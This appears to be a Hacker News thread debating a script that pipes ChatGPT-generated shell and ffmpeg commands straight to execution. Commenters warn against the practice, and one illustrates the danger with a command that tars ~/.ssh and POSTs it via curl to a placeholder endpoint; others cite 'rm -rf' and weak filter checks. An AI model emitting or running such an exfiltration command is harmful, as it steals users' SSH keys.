153 points · by dheera · 2y ago · 99 comments
[1]: https://docs.python.org/3/library/subprocess.html#security-c...
This is why my advice to everyone is to use python's stdlib as much as possible, and avoid using Python's external libraries unless they significantly simplify code.
Plumbum seems nice (and also is packaged in debian/ubuntu, which is a plus), but it does not seem to be significantly safer than correctly written subprocess code, and it won't even save that much lines in this particular example.
I agree that a standard interface is always better, however not at the cost of productivity. A better than the current Subprocess interface is needed, and I think plumbum is the direction to go.
What safeguards are in place to sanitize the output of copilot? I ask this because of course a more experienced user might do that sanitization or sandbox testing themselves, but they probably wouldn't get much use out of copilot in the first place.
[1] https://github.com/sigoden/aichat/tree/main/scripts/shell-in...
alias \?\?="gh copilot suggest"Why not 0?
I’m not a prompt engineer so I never worked with the API, but I thought the “temperature” was a little knob they added for variety in responses. Is that what you want in a CLI?
It's a bleak future for anyone with even a passing interest in software security.
This is good use case for a well-trained LLM, rather than the broad scope of chatGPT
Never ask a remote endpoint that's not owned by you and not run by you, what commands you should run on your system. Certainly don't execute the answers.
1. the packages being worked on by Debian et al have a huge pile of infrastructure so that their development happens collaboratively and in the open, with many eyes watching
2. everyone gets the same packages
3. they have their own security teams to _ensure_ everyone is getting the same packages, i.e. that their download servers and checksums haven't been compromised
4. the project has been been working since 1993 to ensure their update system, and the system delivered by those updates, works as expected. If it doesn't, there are IRC channels, mailing lists, bug trackers and a pile of humans to discuss issues with, and if they agree it's a bug, they can fix it for everyone
It's not to say it's impossible to sneak an attack past a project dedicated to stopping such attacks, but it's so much more work compared to attacking someone who executes whatever a remote endpoint tells them
I'd say it's a pretty common idea today to ask chatGPT for help in complicated commands. Putting it in the shell directly is smart and helpful.
Maybe the implementations has some flaws (it seems quite unsafe), but the idea is rather good in my opinion.
Directly executing commands given by a chat bot on your machine it without inspecting it first is pure madness.
tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED
What could possibly go wrong, right?
I created a new script (https://github.com/dheera/scripts/blob/master/helpme) that is more general, and is safer by presenting the command and requiring you to type "y" to execute, and does NOT auto-execute after a delay.
That said, I do believe we are re-living the autonomous car question of "what about the 0.000001%" again and in this case the absolute worst that happens is it wipes your system, and that's a disaster that's extremely easy to prepare for. You could do all your work in a VM and take daily snapshots, among other solutions.
As long as the computer isn't wired up to some weapon, I say deploy now, let's not wait a decade. This world is too awesome to pass up just because of some "rm -rf" level risks. If that happens I'll just kick myself for not buying a lottery ticket because the probability of ChatGPT responding to an ffmpeg question with "rm -rf" is far, far lower than winning the lottery.
I do appreciate the container solution, since it's generalizable to other ai-powered tools in this class.
1) curl | sh
2) llm | sh
one thing to remember is that you can make a server respond one thing when a user does "curl <url>" and another thing when the users does "curl <url> | sh":
https://lukespademan.com/blog/the-dangers-of-curlbash/
another thing to know is that github.com/<org>/<proj>/[...somethings...] isn't necessarily controlled by <org>:
https://vulcan.io/blog/github-comment-malware-what-you-need-...
So like, has anyone ever actually done enough fuzzing to see if this or other actually bad commands ever happen in practice, or are we just going on vibes here? I suppose its possible that you give it a text description to do something bad and it does, but I'm actually curious if this is just 'llms bad' vibes.
We live in times where you shouldn't use C or C++, because undefined behavior can eat your face and general memory safety issues, but at the same time let's pipe LLM output to your shell.
It is causing a little tingling in my heart.
I want to say “frogblast the vent core” and the interface either parses it locally like they always have for years, or says “I don’t understand. Should I ask GPT?”
I also want it to be more about “help me get the code and show me what it means.” I love Regexr that shows you what each part of the regex does. I’d love for it to annotate what each part of the ffmpeg command does.
in my experience, this is the kind of thing that LLMs are great for - small, one-off tasks with clearly defined parameters. (and, with careful application - low stakes.)
I do use it sometimes, but I am very very careful in reviewing what the command does before blindly copy pasting it into the cli
It does make me think about enterprise usages of LLMs though - the rule I have in my mind is "given a user prompt, only perform a query OR suggest commands, do not execute commands" (in a CQRS sense of the words query and command).
Without some kind of principle like that, I really cannot do much with LLMs on the user interface side because I'll be worried it might f something up every so often.
I just made a more generalized version for ALL commands: https://github.com/dheera/scripts/blob/master/helpme
I've made it safer in that it doesn't auto-execute the command and defaults to "no". You inspect the command and type "y" to execute.
Security aside, I bet it would work more often than when I input something in the terminal.
I nice feature would be to just loop back the error and get ChatGPT to correct the error. You do this by running the command with bash -n (syntax check) and when it doesn’t return an error it runs the script.
Three months from now the next cloud outage at Google will be from “helpme delete that one weird file”.
May the lord have mercy on our machines.
For code generation this works well, though for command line some additional function calling infrastructure may necessary, e.g. if it gets a file path wrong, its only way to correct it might be to execute a bunch of 'ls' commands. It might need read access to the system, which is okay for some use cases where you can containerize everything and keep private files out, but but opens another can of worms :-/
Interesting, any testing? Applications? Efficacy demonstrations?
Maybe "capture from webcam..."
while true; do
ffmpeg -f v4l2 -r 1 -i /dev/video0 -vframes 1 -f image2 output_%04d.jpg
sleep 1
doneThe cool thing is that tab completion for /dev/video0 actually works as you're typing the sentence.
It super easy to prevent AI from becoming skynet or even just stopping it from running rm -rf / but you have to understand proper system security; use namespaces and VMs, please.
If only. It will only take one hapless script to bring about judgement day.
What could possibly go wrong?
assert(ffmpeg_command.startswith("ffmpeg"))
assert(";" not in ffmpeg_command)
assert("|" not in ffmpeg_command)
:DSurely there's no way to avoid those checks... /s
Well that just made it considerably less useful given that ; is the delimiter in ffmpeg filtergraphs.
Also it doesn't defend against && || \n etc.
Invoking an untrusted string with sh (through os.system()) is kind of a facepalm when you can easily shlex and posix_spawn it.